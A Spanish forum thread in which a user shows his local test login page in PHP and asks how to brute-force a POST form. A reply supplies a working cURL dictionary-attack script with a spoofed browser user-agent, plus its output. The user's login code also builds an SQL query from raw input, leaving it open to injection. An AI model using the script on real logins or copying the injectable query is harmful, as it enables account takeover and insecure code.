Fuerza bruta método POST [PHP]

Iniciado por #Aitor, 31 Diciembre 2013, 16:35 PM

0 Miembros y 1 Visitante están viendo este tema.

#Aitor

Hola buenas. Os explico...

Tenemos una base de datos, dónde hay un usuario llamado Aitor. Dicho usuario tiene una contraseña comprendida entre el 0 y el 10. Se utiliza el método POST... Ahora bien, yo creo un diccionario.


01
02
03
04
...
10


Ahora bien, la pregunta del millon, ¿cómo narices haces para que el archivo.text se inserte en el formulario?

Para no hacer nada ilegal, yo tengo montado un servidor de apache en el cuál tengo montado lo siguiente;

BruteForce.html
Código (php) [Seleccionar]

<html>
<head><title>BruteForce</title></head>
<body>
<form method="post" action="BruteForce.php">
<input type="text" name="user" /><br />
<input type="password" name="password" /><br />
<input type="submit" value="Log in" />
</form>
</body>
</html>


BruteForce.php
Código (php) [Seleccionar]

<?php
session_start
();

$user $_POST['user'];
$password $_POST['password'];

if(isset(
$user) && strlen($user)>&&
isset(
$password)&& strlen($password)>0) {

try {
    
$con = new PDO('mysql:host=localhost;dbname=bruteforce'"root""XXXXXXX");
    
$return $con->query("SELECT PASSWORD FROM BruteForce WHERE USER = '$user'")->fetchColumn();
if($return==false){
echo "El usuario no se encontró en la base de datos.";

}else if($return !== $password){

echo "Contraseña incorrecta";

}else if($return === $password){

$_SESSION['user'] =  $user;
echo "Contraseña correcta";
header("Location:start.php"); 
 
}}catch (PDOException $e) {

    print 
"Error!: " $e->getMessage() . "<br/>";

    die(); 
}}else{

echo "Campos vacios"
}


Start.php
Código (php) [Seleccionar]

<?php
session_start
();

if(isset(
$_SESSION['user'])){

echo "Welcome " $_SESSION['user'] . "<br><a href=close.php>Log out </a><p></p>";
}else{

echo "Esto lo ves si no iniciaste sesión";
}

?>



Close.php
Código (php) [Seleccionar]

<?php
session_start
();
session_destroy();
header("Location:start.php"); 

?>



Como podéis observar es un formulario con dos cajas de texto y un submit, que pasa los datos a una página PHP, que conecta con una base de datos.

Si lo escrito en el formulario coincide con lo que hay en la base de datos entonces entras en la sesion.

La base de datos tiene lo siguiente:


ID ||   USER || PASSWORD ||
----------------------------------
1   || Aitor || 8       ||
----------------------------------
2   || Admin || 10      ||
----------------------------------


Quizá me estoy complicando demasiado y para hacer una prueba bastaría con un

Formulario.html
Código (php) [Seleccionar]

<html>
<head><title>BruteForce</title></head>
<body>
<form method="post" action="Comprobacion.php">
<input type="text" name="user" /><br />
<input type="password" name="password" /><br />
<input type="submit" value="Log in" />
</form>
</body>
</html>


Comprobacion.php
Código (php) [Seleccionar]

<?php

$user 
$_POST['user'];
$password $_POST['password'];

if(
$user === "Aitor" && $password == 10){
    echo 
"Correcto"
}else{
    echo 
"Incorrecto";
?>



Sea como fuere, esto lo pregunté hace tiempo (cuando apenas sabía php). y la respuesta fue;

Citarpara hacer un script que crackee el login, teniendo el campo de usuario y clave, necesitas, identificar el método por el cual se envían los campos (GET o POST) ahí ya te vas haciendo la idea...

Ahora la pregunta sería más bien.


  • ¿Qué lenjuage necesitaría usar?
  • ¿Podríais darme algún ejemplo?
  • ¿Existe algún programa que haga esta función?

Un saludo y gracias.

Mi algoritmo en PHP (estupideces y más).
Código (php) [Seleccionar]
while($Se_feliz){
  Piensa_un_OBJETIVO(); // Sin excusas!
  if($Tienes_un_objetivo){
    Suspira(); // Sé paciente.
    if($Consigues_el_objetivo){ echo "¡Felicidades #Aitor!";return;
      //RETURN; ¿O volvemos a empezar?
    }else{
      Inténtalo_de_nuevo();
    }
  }
}

EFEX

Puedes aprender a utilizar curl.
http://php.net/manual/es/book.curl.php

Programas? existen muchos hasta plugins para tu navegador...
GITHUB 

#!drvy

#2
cURL mola :P .. aunque como ha dicho @EFEX se puede hacer de muchisimas formas (con muchísimos programas).

Código (php) [Seleccionar]
<?php

// Url a donde enviar los datos.
$url 'http://localhost/prueba.php';
// Datos adicionales que hay que enviar (usuario,nacimiento,direccion email etc..)
$datos = array('user'=>'Aitor');
// Nombre del campo que contiene la contraseña
$campo_password 'password';
// Archivo con las contraseñas
$archivo_passwords 'passwords.txt';
// Resultado deberia ser.. puede ser parte de un string.
$string_valido 'Bienvenido';

/* ------------------------------------------------ */
function procesar_archivo($archivo){
   if(empty(
$archivo)||!file_exists($archivo)){return false;}
   
$handle fopen($archivo,'r');
   
$content fread($handle,filesize($archivo));
   
$content explode("\n",$content);
   
fclose($handle);
   return 
$content;
}

if(!
function_exists('curl_init')||!function_exists('curl_exec')){die('No dispongo de curl');}

// Iniciamos curl.
$ch curl_init();
// Indicamos que debe devolver el resultado
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
// Indicamos la url.
curl_setopt($ch,CURLOPT_URL$url);
// Indicamos que va a ser un POST y su longitud.
curl_setopt($ch,CURLOPT_POSTcount($datos)+1);
// Indicamos que siga las redirecciones
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue);
// Simulamos ser un navegador Firefox.
curl_setopt($chCURLOPT_USERAGENT'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0');

// Procesamos el archivo.
$passwords procesar_archivo($archivo_passwords);
if(empty(
$passwords)||!is_array($passwords)){die('El archivo no existe y/o no es valido');}

// Por cada password
foreach($passwords as $password){

   
// Converimos los datos a url. (ej: usuario=Aitor&email=hola)
   
$string='';
   foreach(
$datos as $index=>$valor){ $string .= $index.'='.$valor.'&'; }

   
// Añadimos el campo password
   
$string.=$campo_password.'='.$password;

   
// Añadimos los datos al POST
   
curl_setopt($ch,CURLOPT_POSTFIELDS$string);

   
// Ejecutamos curl
   
echo 'Probando -'.$password;
   
$resultado curl_exec($ch);

   
// Comprobamos si fue validado
   
if(strstr($resultado,$string_valido)){echo '-VALIDO';break;}
   else {echo 
'-NO VALIDO <br />'; continue;}
}

?>


Prueba PHP:
Código (php) [Seleccionar]
<?php
$user 
$_POST['user'];
$password $_POST['password'];
if(
$user === "Aitor" && $password == 10){echo "Bienvenido usuario X";}else{echo "No es correcto.";}
?>


Resultado:
Código (log) [Seleccionar]
Probando -1-NO VALIDO
Probando -2-NO VALIDO
Probando -3-NO VALIDO
Probando -4-NO VALIDO
Probando -5-NO VALIDO
Probando -6-NO VALIDO
Probando -7-NO VALIDO
Probando -8-NO VALIDO
Probando -9-NO VALIDO
Probando -10-VALIDO


Saludos

#Aitor

Tu script funciona a la perfección @drvy, una lástima que entienda muy poco por no decir nada del código, todo será aprender Curl.

Muchas gracias a los dos por vuestro tiempo >.<'

;-) ;-)
Mi algoritmo en PHP (estupideces y más).
Código (php) [Seleccionar]
while($Se_feliz){
  Piensa_un_OBJETIVO(); // Sin excusas!
  if($Tienes_un_objetivo){
    Suspira(); // Sé paciente.
    if($Consigues_el_objetivo){ echo "¡Felicidades #Aitor!";return;
      //RETURN; ¿O volvemos a empezar?
    }else{
      Inténtalo_de_nuevo();
    }
  }
}

EFEX

drvy tiene mas idea que yo con curl(sabia que iba agregar un ejemplo :xD), hasta podes crear un bot como hizo el, tiene varios usos curl.
GITHUB 

RyukZ92

#5
Hola amigo #!drvy, excelente información brindada pero quiero decirte algo, tú código de curl y fuerza bruta tiene un pequeño problema que no logro captar, y es que al poner el campo contraseña como STRING en el archivo prueba.php
EJEMPLO: if($user == "Aitor" && $password == "1a0") ya no me funciona el script correctamente, al menos que en archivo de texto passwords coloque la contraseña al final es que la valida, del resto no, solo aplica para enteros.

¿Qué pudiera ser eso?

PD: Es un proyecto que hago y te aclaro que apliqué la misma sitaxis de código pero con inyecciones SQL y me va perfectamente pero el problema es para cuando hay usuarios y contraseñas. Yo ya llevé este código a base de datos y todo lo demás, pero el error está en esta porción que muestras acá.

Espero su ayuda por favor.